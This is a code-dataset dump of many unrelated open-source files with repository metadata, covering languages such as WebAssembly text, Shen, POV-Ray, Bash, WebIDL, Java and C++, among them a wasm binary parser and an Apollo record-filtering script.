Control15=IDC_STATIC,static,1342308352
[CLS:ChangeGameSettings]
Type=0
HeaderFile=ChangeGameSettings.h
ImplementationFile=ChangeGameSettings.cpp
BaseClass=CDialog
Filter=D
LastObject=IDCANCEL
VirtualFilter=dWC
| Clarion | 2 | MidflightDigital/stepmania | src/smpackage/smpackage.clw | [
"MIT"
] |
<h1 class="title">Error</h1>
<p class="error_title">
{{#if js_error}}
JavaScript error:
{{else}}
Server error:
{{/if}}
</p>
<pre class="error error_details">{{error}}</pre>
{{#if query}}
<p class="error">The query that returned an error is:</p>
<pre class="error error_details">{{query}}</pre>
{{/if}}
| Handlebars | 2 | zadcha/rethinkdb | admin/static/handlebars/dataexplorer-error.hbs | [
"Apache-2.0"
] |
package gw.specContrib.classes
enhancement Errant_EnhancementEnhancingItself: Errant_EnhancementEnhancingItself { //## issuekeys: ENAHCEMENTS CANNOT ENHANCE OTHER ENHANCEMENTS
}
| Gosu | 0 | tcmoore32/sheer-madness | gosu-test/src/test/gosu/gw/specContrib/classes/Errant_EnhancementEnhancingItself.gsx | [
"Apache-2.0"
] |
(module
(type $FUNCSIG$vii (func (param i32 i32)))
(type $FUNCSIG$ii (func (param i32) (result i32)))
(type $FUNCSIG$iiiiii (func (param i32 i32 i32 i32 i32) (result i32)))
(type $FUNCSIG$viii (func (param i32 i32 i32)))
(type $FUNCSIG$viiiiii (func (param i32 i32 i32 i32 i32 i32)))
(type $FUNCSIG$viiiii (func (param i32 i32 i32 i32 i32)))
(type $FUNCSIG$viiii (func (param i32 i32 i32 i32)))
(type $FUNCSIG$v (func))
(type $FUNCSIG$vi (func (param i32)))
(type $FUNCSIG$i (func (result i32)))
(import "env" "memory" (memory $0 0))
(import "options" "onSection" (func $assembly/options/onSection (param i32 i32 i32 i32 i32) (result i32)))
(import "options" "onType" (func $assembly/options/onType (param i32 i32)))
(import "options" "onTypeParam" (func $assembly/options/onTypeParam (param i32 i32 i32)))
(import "options" "onTypeReturn" (func $assembly/options/onTypeReturn (param i32 i32 i32)))
(import "options" "onImport" (func $assembly/options/onImport (param i32 i32 i32 i32 i32 i32)))
(import "options" "onFunctionImport" (func $assembly/options/onFunctionImport (param i32 i32)))
(import "options" "onTableImport" (func $assembly/options/onTableImport (param i32 i32 i32 i32 i32)))
(import "options" "onMemoryImport" (func $assembly/options/onMemoryImport (param i32 i32 i32 i32)))
(import "options" "onGlobalImport" (func $assembly/options/onGlobalImport (param i32 i32 i32)))
(import "options" "onFunction" (func $assembly/options/onFunction (param i32 i32)))
(import "options" "onTable" (func $assembly/options/onTable (param i32 i32 i32 i32 i32)))
(import "options" "onMemory" (func $assembly/options/onMemory (param i32 i32 i32 i32)))
(import "options" "onGlobal" (func $assembly/options/onGlobal (param i32 i32 i32)))
(import "options" "onExport" (func $assembly/options/onExport (param i32 i32 i32 i32 i32)))
(import "options" "onStart" (func $assembly/options/onStart (param i32)))
(import "options" "onModuleName" (func $assembly/options/onModuleName (param i32 i32)))
(import "options" "onFunctionName" (func $assembly/options/onFunctionName (param i32 i32 i32)))
(import "options" "onLocalName" (func $assembly/options/onLocalName (param i32 i32 i32 i32)))
(import "options" "onSourceMappingURL" (func $assembly/options/onSourceMappingURL (param i32 i32)))
(global $assembly/index/off (mut i32) (i32.const 0))
(export "memory" (memory $0))
(export "parse" (func $assembly/index/parse))
(func $assembly/index/readVaruint (; 19 ;) (type $FUNCSIG$i) (result i32)
(local $0 i32)
(local $1 i32)
(local $2 i32)
(local $3 i32)
global.get $assembly/index/off
local.set $0
loop $continue|0
local.get $0
local.tee $1
i32.const 1
i32.add
local.set $0
local.get $1
i32.load8_u
local.tee $1
i32.const 127
i32.and
local.get $3
i32.shl
local.get $2
i32.or
local.set $2
local.get $1
i32.const 128
i32.and
if
local.get $3
i32.const 7
i32.add
local.set $3
br $continue|0
end
end
local.get $0
global.set $assembly/index/off
local.get $2
)
(func $assembly/index/readVarint (; 20 ;) (type $FUNCSIG$ii) (param $0 i32) (result i32)
(local $1 i32)
(local $2 i32)
(local $3 i32)
(local $4 i32)
global.get $assembly/index/off
local.set $4
loop $continue|0
local.get $4
local.tee $3
i32.const 1
i32.add
local.set $4
local.get $3
i32.load8_u
local.tee $3
i32.const 127
i32.and
local.get $1
i32.shl
local.get $2
i32.or
local.set $2
local.get $1
i32.const 7
i32.add
local.set $1
local.get $3
i32.const 128
i32.and
br_if $continue|0
end
local.get $4
global.set $assembly/index/off
i32.const -1
local.get $1
i32.shl
local.get $2
i32.or
local.get $2
local.get $3
i32.const 64
i32.and
i32.const 0
i32.ne
i32.const 0
local.get $1
local.get $0
i32.lt_u
select
select
)
(func $assembly/index/readVarint64 (; 21 ;) (type $FUNCSIG$v)
(local $0 i32)
(local $1 i64)
(local $2 i32)
(local $3 i64)
(local $4 i64)
global.get $assembly/index/off
local.set $0
loop $continue|0
local.get $0
local.tee $2
i32.const 1
i32.add
local.set $0
local.get $2
i64.load8_u
local.tee $4
i64.const 127
i64.and
local.get $1
i64.shl
local.get $3
i64.or
local.set $3
local.get $1
i64.const 7
i64.add
local.set $1
local.get $4
i64.const 128
i64.and
i64.const 0
i64.ne
br_if $continue|0
end
local.get $0
global.set $assembly/index/off
)
(func $assembly/index/skipInitExpr (; 22 ;) (type $FUNCSIG$v)
(local $0 i32)
(local $1 i32)
global.get $assembly/index/off
local.tee $1
i32.load8_u
local.set $0
local.get $1
i32.const 1
i32.add
global.set $assembly/index/off
block $break|0
block $case5|0
block $case4|0
block $case3|0
block $case2|0
block $case1|0
local.get $0
i32.const 65
i32.ne
if
local.get $0
i32.const 66
i32.eq
br_if $case1|0
local.get $0
i32.const 67
i32.eq
br_if $case2|0
local.get $0
i32.const 68
i32.eq
br_if $case3|0
local.get $0
i32.const 35
i32.eq
br_if $case4|0
br $case5|0
end
i32.const 32
call $assembly/index/readVarint
drop
br $break|0
end
call $assembly/index/readVarint64
br $break|0
end
global.get $assembly/index/off
local.tee $0
i32.load
drop
local.get $0
i32.const 4
i32.add
global.set $assembly/index/off
br $break|0
end
global.get $assembly/index/off
local.tee $0
i64.load
drop
local.get $0
i32.const 8
i32.add
global.set $assembly/index/off
br $break|0
end
call $assembly/index/readVaruint
drop
br $break|0
end
unreachable
end
global.get $assembly/index/off
local.tee $1
i32.load8_u
local.get $1
i32.const 1
i32.add
global.set $assembly/index/off
i32.const 11
i32.ne
if
unreachable
end
)
(func $assembly/index/parse (; 23 ;) (type $FUNCSIG$vii) (param $0 i32) (param $1 i32)
(local $2 i32)
(local $3 i32)
(local $4 i32)
(local $5 i32)
(local $6 i32)
(local $7 i32)
(local $8 i32)
(local $9 i32)
(local $10 i32)
(local $11 i32)
(local $12 i32)
(local $13 i32)
(local $14 i32)
local.get $0
global.set $assembly/index/off
global.get $assembly/index/off
local.tee $0
i32.load
local.get $0
i32.const 4
i32.add
global.set $assembly/index/off
i32.const 1836278016
i32.ne
if
unreachable
end
global.get $assembly/index/off
local.tee $0
i32.load
local.get $0
i32.const 4
i32.add
global.set $assembly/index/off
i32.const 1
i32.ne
if
unreachable
end
i32.const 0
local.set $0
loop $continue|0
global.get $assembly/index/off
local.get $1
i32.lt_u
if
call $assembly/index/readVaruint
local.set $4
call $assembly/index/readVaruint
local.set $3
i32.const 0
local.set $5
i32.const 0
local.set $2
local.get $4
if
local.get $4
i32.const 11
i32.gt_u
if
unreachable
end
else
global.get $assembly/index/off
local.set $6
call $assembly/index/readVaruint
local.tee $2
global.get $assembly/index/off
local.tee $5
i32.add
global.set $assembly/index/off
local.get $3
global.get $assembly/index/off
local.get $6
i32.sub
i32.sub
local.set $3
end
local.get $4
global.get $assembly/index/off
local.tee $6
local.get $3
local.get $5
local.get $2
call $assembly/options/onSection
if
block $break|1
block $case12|1
block $case11|1
block $case8|1
block $case7|1
block $case6|1
block $case5|1
block $case4|1
block $case3|1
block $case2|1
block $case1|1
local.get $4
i32.const 1
i32.ne
if
local.get $4
i32.const 2
i32.eq
br_if $case1|1
block $tablify|0
local.get $4
br_table $case8|1 $tablify|0 $tablify|0 $case2|1 $case3|1 $case4|1 $case5|1 $case6|1 $case7|1 $case11|1 $case11|1 $case11|1 $tablify|0
end
br $case12|1
end
call $assembly/index/readVaruint
local.set $4
i32.const 0
local.set $2
loop $loop|2
local.get $2
local.get $4
i32.lt_u
if
local.get $2
i32.const 7
call $assembly/index/readVarint
i32.const 127
i32.and
call $assembly/options/onType
call $assembly/index/readVaruint
local.set $5
i32.const 0
local.set $3
loop $loop|3
local.get $3
local.get $5
i32.lt_u
if
local.get $2
local.get $3
i32.const 7
call $assembly/index/readVarint
i32.const 127
i32.and
call $assembly/options/onTypeParam
local.get $3
i32.const 1
i32.add
local.set $3
br $loop|3
end
end
call $assembly/index/readVaruint
local.set $5
i32.const 0
local.set $3
loop $loop|4
local.get $3
local.get $5
i32.lt_u
if
local.get $2
local.get $3
i32.const 7
call $assembly/index/readVarint
i32.const 127
i32.and
call $assembly/options/onTypeReturn
local.get $3
i32.const 1
i32.add
local.set $3
br $loop|4
end
end
local.get $2
i32.const 1
i32.add
local.set $2
br $loop|2
end
end
br $break|1
end
call $assembly/index/readVaruint
local.set $7
i32.const 0
local.set $4
loop $loop|5
local.get $4
local.get $7
i32.lt_u
if
call $assembly/index/readVaruint
local.tee $3
global.get $assembly/index/off
local.tee $5
i32.add
global.set $assembly/index/off
call $assembly/index/readVaruint
local.tee $6
global.get $assembly/index/off
local.tee $8
i32.add
global.set $assembly/index/off
global.get $assembly/index/off
local.tee $9
i32.load8_u
local.set $2
local.get $9
i32.const 1
i32.add
global.set $assembly/index/off
local.get $4
local.get $2
local.get $5
local.get $3
local.get $8
local.get $6
call $assembly/options/onImport
block $break|6
block $case4|6
block $case3|6
block $case2|6
block $case1|6
local.get $2
if
local.get $2
i32.const 1
i32.sub
br_table $case1|6 $case2|6 $case3|6 $case4|6
end
local.get $10
local.tee $2
i32.const 1
i32.add
local.set $10
local.get $2
call $assembly/index/readVaruint
call $assembly/options/onFunctionImport
br $break|6
end
i32.const 7
call $assembly/index/readVarint
i32.const 127
i32.and
local.set $3
call $assembly/index/readVaruint
local.set $5
local.get $0
local.tee $2
i32.const 1
i32.add
local.set $0
local.get $2
local.get $3
call $assembly/index/readVaruint
local.get $5
i32.const 1
i32.and
if (result i32)
call $assembly/index/readVaruint
else
i32.const -1
end
local.get $5
call $assembly/options/onTableImport
br $break|6
end
call $assembly/index/readVaruint
local.set $3
local.get $11
local.tee $2
i32.const 1
i32.add
local.set $11
local.get $2
call $assembly/index/readVaruint
local.get $3
i32.const 1
i32.and
if (result i32)
call $assembly/index/readVaruint
else
i32.const 65535
end
local.get $3
call $assembly/options/onMemoryImport
br $break|6
end
local.get $12
local.tee $2
i32.const 1
i32.add
local.set $12
local.get $2
i32.const 7
call $assembly/index/readVarint
i32.const 127
i32.and
call $assembly/index/readVaruint
call $assembly/options/onGlobalImport
br $break|6
end
unreachable
end
local.get $4
i32.const 1
i32.add
local.set $4
br $loop|5
end
end
br $break|1
end
call $assembly/index/readVaruint
local.set $4
i32.const 0
local.set $3
loop $loop|7
local.get $3
local.get $4
i32.lt_u
if
local.get $10
local.tee $2
i32.const 1
i32.add
local.set $10
local.get $2
call $assembly/index/readVaruint
call $assembly/options/onFunction
local.get $3
i32.const 1
i32.add
local.set $3
br $loop|7
end
end
br $break|1
end
call $assembly/index/readVaruint
local.set $7
i32.const 0
local.set $4
loop $loop|8
local.get $4
local.get $7
i32.lt_u
if
call $assembly/index/readVaruint
i32.const 127
i32.and
local.set $3
call $assembly/index/readVaruint
local.set $5
local.get $0
local.tee $2
i32.const 1
i32.add
local.set $0
local.get $2
local.get $3
call $assembly/index/readVaruint
local.get $5
i32.const 1
i32.and
if (result i32)
call $assembly/index/readVaruint
else
i32.const -1
end
local.get $5
call $assembly/options/onTable
local.get $4
i32.const 1
i32.add
local.set $4
br $loop|8
end
end
br $break|1
end
call $assembly/index/readVaruint
local.set $6
i32.const 0
local.set $3
loop $loop|9
local.get $3
local.get $6
i32.lt_u
if
call $assembly/index/readVaruint
local.set $4
local.get $11
local.tee $2
i32.const 1
i32.add
local.set $11
local.get $2
call $assembly/index/readVaruint
local.get $4
i32.const 1
i32.and
if (result i32)
call $assembly/index/readVaruint
else
i32.const 65535
end
local.get $4
call $assembly/options/onMemory
local.get $3
i32.const 1
i32.add
local.set $3
br $loop|9
end
end
br $break|1
end
call $assembly/index/readVaruint
local.set $4
i32.const 0
local.set $3
loop $loop|10
local.get $3
local.get $4
i32.lt_u
if
i32.const 7
call $assembly/index/readVarint
i32.const 127
i32.and
local.set $5
call $assembly/index/readVaruint
local.set $6
call $assembly/index/skipInitExpr
local.get $12
local.tee $2
i32.const 1
i32.add
local.set $12
local.get $2
local.get $5
local.get $6
call $assembly/options/onGlobal
local.get $3
i32.const 1
i32.add
local.set $3
br $loop|10
end
end
br $break|1
end
call $assembly/index/readVaruint
local.set $3
i32.const 0
local.set $2
loop $loop|11
local.get $2
local.get $3
i32.lt_u
if
call $assembly/index/readVaruint
local.tee $4
global.get $assembly/index/off
local.tee $5
i32.add
global.set $assembly/index/off
global.get $assembly/index/off
local.tee $6
i32.load8_u
local.set $7
local.get $6
i32.const 1
i32.add
global.set $assembly/index/off
local.get $2
local.get $7
call $assembly/index/readVaruint
local.get $5
local.get $4
call $assembly/options/onExport
local.get $2
i32.const 1
i32.add
local.set $2
br $loop|11
end
end
br $break|1
end
call $assembly/index/readVaruint
call $assembly/options/onStart
br $break|1
end
local.get $2
i32.const 4
i32.eq
if (result i32)
local.get $5
i32.load
i32.const 1701667182
i32.eq
else
i32.const 0
end
if
call $assembly/index/readVaruint
local.set $2
call $assembly/index/readVaruint
global.get $assembly/index/off
block $break|12
block $case3|12
block $case2|12
block $case1|12
local.get $2
if
local.get $2
i32.const 1
i32.eq
br_if $case1|12
local.get $2
i32.const 2
i32.eq
br_if $case2|12
br $case3|12
end
call $assembly/index/readVaruint
local.set $2
global.get $assembly/index/off
local.get $2
call $assembly/options/onModuleName
br $break|12
end
call $assembly/index/readVaruint
local.set $2
i32.const 0
local.set $3
loop $loop|13
local.get $3
local.get $2
i32.lt_u
if
call $assembly/index/readVaruint
call $assembly/index/readVaruint
local.tee $7
global.get $assembly/index/off
local.tee $8
i32.add
global.set $assembly/index/off
local.get $8
local.get $7
call $assembly/options/onFunctionName
local.get $3
i32.const 1
i32.add
local.set $3
br $loop|13
end
end
br $break|12
end
call $assembly/index/readVaruint
local.set $6
i32.const 0
local.set $2
loop $loop|14
local.get $2
local.get $6
i32.lt_u
if
call $assembly/index/readVaruint
local.set $7
call $assembly/index/readVaruint
local.set $8
i32.const 0
local.set $3
loop $loop|15
local.get $3
local.get $8
i32.lt_u
if
call $assembly/index/readVaruint
local.set $9
call $assembly/index/readVaruint
local.tee $13
global.get $assembly/index/off
local.tee $14
i32.add
global.set $assembly/index/off
local.get $7
local.get $9
local.get $14
local.get $13
call $assembly/options/onLocalName
local.get $3
i32.const 1
i32.add
local.set $3
br $loop|15
end
end
local.get $2
i32.const 1
i32.add
local.set $2
br $loop|14
end
end
br $break|12
end
unreachable
end
i32.add
global.set $assembly/index/off
br $break|1
else
local.get $2
i32.const 16
i32.eq
if (result i32)
local.get $5
i64.load
i64.const 7011371672682196851
i64.eq
else
i32.const 0
end
if (result i32)
local.get $5
i32.const 8
i32.add
i64.load
i64.const 5499551997695193200
i64.eq
else
i32.const 0
end
if
call $assembly/index/readVaruint
local.tee $2
global.get $assembly/index/off
local.tee $4
i32.add
global.set $assembly/index/off
local.get $4
local.get $2
call $assembly/options/onSourceMappingURL
end
end
local.get $3
local.get $6
i32.add
global.set $assembly/index/off
br $break|1
end
global.get $assembly/index/off
local.get $3
i32.add
global.set $assembly/index/off
br $break|1
end
unreachable
end
else
global.get $assembly/index/off
local.get $3
i32.add
global.set $assembly/index/off
end
br $continue|0
end
end
global.get $assembly/index/off
local.get $1
i32.ne
if
unreachable
end
)
(func $null (; 24 ;) (type $FUNCSIG$v)
nop
)
)
| WebAssembly | 3 | romdotdog/assemblyscript | lib/parse/build/index.wat | [
"Apache-2.0"
] |
div { 'Lorem ipsum doler' };
---
div >
'Lorem ipsum doler'
==================================
ul {
li > span > em > '~[name]'
}
---
ul >
li >
span >
em >
'~[name]'
==================================
if () {
div > 'Baz'
}
---
if () >
div >
'Baz'
| Mask | 1 | atmajs/MaskJS | test/tmpl/stringify/node_single.mask | [
"MIT"
] |
function f(a, b=1){
return a + b;
}
print f(1);
print f(1, 2);
| COBOL | 4 | cau991/ssdb | deps/cpy/samples/function.cpy | [
"BSD-3-Clause"
] |
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#ifndef TENSORFLOW_CORE_UTIL_DETERMINISM_TEST_UTIL_H_
#define TENSORFLOW_CORE_UTIL_DETERMINISM_TEST_UTIL_H_
#include "tensorflow/core/util/determinism.h"
namespace tensorflow {
namespace test {
// Enables determinism for a single test method.
class DeterministicOpsScope {
public:
DeterministicOpsScope() : was_enabled_(OpDeterminismRequired()) {
EnableOpDeterminism(true);
}
~DeterministicOpsScope() { EnableOpDeterminism(was_enabled_); }
private:
const bool was_enabled_;
};
} // namespace test
} // namespace tensorflow
#endif // TENSORFLOW_CORE_UTIL_DETERMINISM_TEST_UTIL_H_
| C | 4 | EricRemmerswaal/tensorflow | tensorflow/core/util/determinism_test_util.h | [
"Apache-2.0"
] |
[Exposed=Window,
HTMLConstructor]
interface HTMLTableCaptionElement : HTMLElement {
// also has obsolete members
};
partial interface HTMLTableCaptionElement {
[CEReactions, Reflect] attribute DOMString align;
};
| WebIDL | 3 | corsarstl/Learn-Vue-2 | vue-testing/node_modules/jsdom/lib/jsdom/living/nodes/HTMLTableCaptionElement.webidl | [
"MIT"
] |
(define parse
Sentence -> (let Parse (sent [Sentence []])
(if (parsed? Parse)
(output_parse Parse)
ungrammatical)))
(define parsed?
[[] _] -> true
_ -> false)
(define output_parse
[_ Parse_Rules] -> (reverse Parse_Rules))
(define sent
[Input Output] <- (vp (np [Input [[sent --> np vp] | Output]]))
_ -> (fail))
(define np
[Input Output] <- (n (det [Input [[np --> det n] | Output]]))
[Input Output] <- (name [Input [[np --> name] | Output]])
_ -> (fail))
(define name
[["John" | Input] Output] -> [Input [[name --> "John"] | Output]]
[["Bill" | Input] Output] -> [Input [[name --> "Bill"] | Output]]
_ -> (fail))
(define det
[["the" | Input] Output] -> [Input [[det --> "the"] | Output]]
[["a" | Input] Output] -> [Input [[det --> "a"] | Output]]
[["that" | Input] Output] -> [Input [[det --> "that"] | Output]]
[["this" | Input] Output] -> [Input [[det --> "this"] | Output]]
_ -> (fail))
(define n
[["boy" | Input] Output] -> [Input [[n --> "boy"] | Output]]
[["girl" | Input] Output] -> [Input [[n --> "girl"] | Output]]
_ -> (fail))
(define vp
[Input Output] <- (np (vtrans [Input [[vp --> vtrans np] | Output]]))
[Input Output] <- (vp [Input [[vp --> vintrans] | Output]])
_ -> (fail))
(define vtrans
[["kicks" | Input] Output] -> [Input [[vtrans --> "kicks"] | Output]]
[["likes" | Input] Output] -> [Input [[vtrans --> "likes"] | Output]]
_ -> (fail))
(define vintrans
[["jumps" | Input] Output] -> [Input [[vintrans --> "jumps"] | Output]]
_ -> (fail)) | Shen | 5 | WilliamStone/Shen.java | shen/test/parser.shen | [
"Unlicense"
] |
#!/usr/bin/env bash
###############################################################################
# Copyright 2017 The Apollo Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
function print_help() {
echo "Example: filter_planning.sh -[pc|np|wp] [-d|--dir] record1 record2 record3 ..."
echo "-d|--dir the target storage directory"
echo "This script works in three modes:"
echo " -pc filter for perfect control, produces *.pc.record"
echo " -po filter only for perception topic, produces *.po.record"
echo " -np filter for planning dependencies, produces *.np.record"
echo " -wp filter for planning and its dependencies, produces *.wp.record"
echo " -pn filter out planning and prediction, produces *.npp.record"
echo " -co filter out perception, prediction and planning, produces *.co.record"
echo " -ni filter out pointcloud and images, produces *.ni.record"
}
routing_topic="/apollo/routing_response"
planning_topic="/apollo/planning"
prediction_topic="/apollo/prediction"
drive_event_topic="/apollo/drive_event"
pointcloud_topic="/apollo/sensor/velodyne64/compensator/PointCloud2"
perception_topic=(
'/apollo/perception/obstacles'
'/apollo/perception/traffic_light'
)
perfect_control_topic=()
perfect_control_topic+=${perception_topic[@]}
perfect_control_topic+=($routing_topic)
perfect_control_topic+=("$prediction_topic")
perfect_control_topic+=("/apollo/perception/traffic_light")
planning_deps=()
planning_deps+=${perfect_control_topic[@]}
planning_deps+=('/apollo/canbus/chassis')
planning_deps+=('/apollo/localization/pose')
planning_deps+=('/apollo/navigation')
planning_deps+=('/apollo/guardian')
planning_deps+=('/apollo/monitor/system_status')
planning_deps+=('/apollo/relative_map')
image_topic=(
'/apollo/sensor/camera/traffic/image_long'
'/apollo/sensor/camera/traffic/image_short'
)
planning_all=()
planning_all+=${planning_deps[@]}
planning_all+=($planning_topic)
planning_all+=($drive_event_topic)
#Three different filter mode
#create perfect control mode record
is_perfect_control=false
#create a rosrecord with planning and its dependencies
is_with_planning=false
#create a rosrecord only with planning's dependencies
is_no_planning=false
#only perception topic
is_perception=false
#no prediction and no planning
is_no_prediction_planning=false
#no perception, no prediction and no planning, with only camera topic
is_camera_only=false
# no pointcloud, no image
is_no_pointcloud_image=false
work_mode_num=0
#argument parsing code from https://stackoverflow.com/a/14203146
POSITIONAL=()
target_dir=""
while [[ $# -gt 0 ]]; do
key="$1"
case $key in
-po | --perception_only)
is_perception=true
work_mode_num=$((work_mode_num + 1))
shift # past argument
;;
-pc | --perfectcontrol)
is_perfect_control=true
work_mode_num=$((work_mode_num + 1))
shift # past argument
;;
-np | --noplanning)
is_no_planning=true
work_mode_num=$((work_mode_num + 1))
shift # past argument
;;
-pn | --nopredictionplanning)
is_no_prediction_planning=true
work_mode_num=$((work_mode_num + 1))
shift # past argument
;;
-wp | --withplanning)
is_with_planning=true
work_mode_num=$((work_mode_num + 1))
shift # past value
;;
-co | --cameraonly)
is_camera_only=true
work_mode_num=$((work_mode_num + 1))
shift # past value
;;
-ni | --noimage)
is_no_pointcloud_image=true
work_mode_num=$((work_mode_num + 1))
shift # past argument
;;
-d | --dir)
target_dir="$2"
shift # past argument
shift # past value
;;
-h | --help)
print_help
exit 0
;;
*) # unknown option
POSITIONAL+=("$1") # save it in an array for later
shift # past argument
;;
esac
done
if [[ $work_mode_num -eq 0 ]]; then
print_help
exit 0
fi
set -- "${POSITIONAL[@]}" # restore positional parameters
function filter() {
target=""
name=$(basename $1)
ext=${name##*.}
name="$name.$ext"
if $is_perfect_control; then
target="$2/${name%.*}.pc.record"
cyber_recorder split -f $1 $(echo ${perfect_control_topic[@]} | sed 's/^\| / -c /g') -o $target
fi
if $is_no_prediction_planning; then
target="$2/${name%.*}.npp.record"
cyber_recorder split -f $1 -k $prediction_topic -k $planning_topic -o $target
fi
if $is_perception; then
target="$2/${name%.*}.po.record"
cyber_recorder split -f $1 $(echo ${perception_topic[@]} | sed 's/^\| / -k /g') -o $target
fi
if $is_no_planning; then
target="$2/${name%.*}.np.record"
cyber_recorder split -f $1 -k $planning_topic -o $target
fi
if $is_with_planning; then
target="$2/${name%.*}.wp.record"
cyber_recorder split -f $1 $(echo ${planning_all[@]} | sed 's/^\| / -c /g') -o $target
fi
if $is_camera_only; then
target="$2/${name%.*}.co.record"
cyber_recorder split -f $1 $(echo ${image_topic[@]} | sed 's/^\| / -c /g') -o $target
fi
if $is_no_pointcloud_image; then
target="$2/${name%.*}.ni.record"
cyber_recorder split -f $1 $(echo ${pointcloud_topic} ${image_topic[@]} | sed 's/^\| / -k /g') -o $target
fi
echo "filtered ${record} to $target"
}
for record in $@; do
folder=""
if [ -z $target_dir ]; then
folder="$(dirname $record)"
else
folder=$target_dir
fi
filter $record $folder
done
| Shell | 4 | jzjonah/apollo | scripts/filter_planning.sh | [
"Apache-2.0"
] |
#include "caffe2/serialize/read_adapter_interface.h"
namespace caffe2 {
namespace serialize {
// NOLINTNEXTLINE(modernize-use-equals-default)
ReadAdapterInterface::~ReadAdapterInterface() {}
} // namespace serialize
} // namespace caffe2
| C++ | 1 | Hacky-DH/pytorch | caffe2/serialize/read_adapter_interface.cc | [
"Intel"
] |
camera {
location <3, 2, -8>
look_at <2, 1, 0>
}
light_source {
<5, 9, -5>
color rgb <0.7, 0.7, 0.7>
}
light_source {
<5, 9, 0>
color rgb <0.6, 0.6, 0.6>
}
// Front wall
box {
<0, 0, 0> <10, 10, 1>
pigment {
bozo
turbulence 1
color_map {
[0.7 color rgb <1.0, 0.71, 0.76>]
[0.9 color rgb <1.0, 0.61, 0.66>]
}
}
finish {
phong 0.5
reflection 0.1
}
}
// Left wall
box {
<0, 10, 0> <-1, 0, -10>
pigment {
bozo
turbulence 1
color_map {
[0.7 color rgb <1.0, 0.71, 0.76>]
[0.9 color rgb <1.0, 0.61, 0.66>]
}
}
finish {
phong 0.5
reflection 0.1
}
}
// Right wall
box {
<10, 10, -10> <11, 0, 0>
pigment {
bozo
turbulence 1
color_map {
[0.7 color rgb <1.0, 0.71, 0.76>]
[0.9 color rgb <1.0, 0.61, 0.66>]
}
}
finish {
phong 0.5
reflection 0.1
}
}
// Back wall
box {
<10, 10, -10> <-1, 0, -10>
pigment {
bozo
turbulence 1
color_map {
[0.7 color rgb <1.0, 0.71, 0.76>]
[0.9 color rgb <1.0, 0.61, 0.66>]
}
}
finish {
phong 0.5
reflection 0.1
}
}
// Back wall door
box {
<7.5, 0, -10> <9.0, 4, -9.9>
pigment {
wood
color_map {
[0.7 color rgb <0.94, 0.74, 0.34>]
[0.9 color rgb <0.89, 0.69, 0.29>]
}
translate <1.2, 0.5, 0>
}
finish {
phong 0.2
}
}
// Door knob
sphere {
<7.7, 2, -9.85>, 0.1
pigment {
color rgb <0.99, 0.82, 0.09>
}
finish {
phong 0.8
reflection 0.8
}
}
// Floor
box {
<0, 0, 0> <10, -1, -10>
pigment {
checker
color rgb <1.0, 0.5, 0.6>
color rgb <1.0, 0.7, 0.8>
}
}
// Ceiling
box {
<0, 10, 0> <10, 15, -10>
pigment {
color rgb <1.0, 1.0, 1.0>
}
}
// Wooden block
box {
<1.2, 0, -2.6> <2.2, 1, -3.6>
pigment {
wood
color_map {
[0.2 color rgb <0.94, 0.74, 0.34>]
[0.3 color rgb <0.89, 0.69, 0.29>]
[0.6 color rgb <0.39, 0.23, 0.06>]
[0.9 color rgb <0.72, 0.32, 0.12>]
}
translate <1.2, 0.5, 0>
}
finish {
phong 0.2
}
}
// Crystal ball
sphere {
<1.7, 1.5, -3.1>, 0.5
pigment {
color rgbf <1, 1, 1, 0.9>
}
finish {
reflection 0.1
refraction 1.0
ior 1.5
phong 1.0
}
}
// Mirror frame
box {
<1, 0.2, 0> <4.5, 4.2, -0.1>
pigment {
wood
color_map {
[0.2 color rgb <0.94, 0.74, 0.34>]
[0.3 color rgb <0.89, 0.69, 0.29>]
[0.6 color rgb <0.39, 0.23, 0.06>]
[0.9 color rgb <0.72, 0.32, 0.12>]
}
translate <1.2, 0.5, 0>
}
finish {
phong 0.2
}
}
// Mirror
box {
<1.1, 0.21, -0.1> <4.4, 4.1, -0.2>
pigment {
color rgb <1.0, 1.0, 1.0>
}
finish {
reflection 1.0
ambient 0
diffuse 0
}
}
// Blue ball
sphere {
<4.2, 0.6, -2>, 0.6
pigment {
color rgb <0.42, 0.50, 0.99>
}
finish {
phong 0.2
reflection 0.05
}
}
// Green ball
sphere {
<3.2, 0.3, -4>, 0.3
pigment {
color rgb <0.10, 0.82, 0.40>
}
finish {
phong 0.2
reflection 0.05
}
}
| POV-Ray SDL | 4 | spcask/pov-ray-tracing | src/scene04.pov | [
"MIT"
] |
/*
* Copyright 2012-2020 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.boot.context.properties;
import java.util.Arrays;
import java.util.Collection;
import java.util.List;
/**
* Exception thrown when the application has configured an incompatible set of
* {@link ConfigurationProperties} keys.
*
* @author Brian Clozel
* @since 2.4.0
*/
public class IncompatibleConfigurationException extends RuntimeException {
private final List<String> incompatibleKeys;
public IncompatibleConfigurationException(String... incompatibleKeys) {
super("The following configuration properties have incompatible values: " + Arrays.toString(incompatibleKeys));
this.incompatibleKeys = Arrays.asList(incompatibleKeys);
}
public Collection<String> getIncompatibleKeys() {
return this.incompatibleKeys;
}
}
| Java | 5 | techAi007/spring-boot | spring-boot-project/spring-boot/src/main/java/org/springframework/boot/context/properties/IncompatibleConfigurationException.java | [
"Apache-2.0"
] |
#version 450 core
#define PRECISION $precision
layout(std430) buffer;
/* Qualifiers: layout - storage - precision - memory */
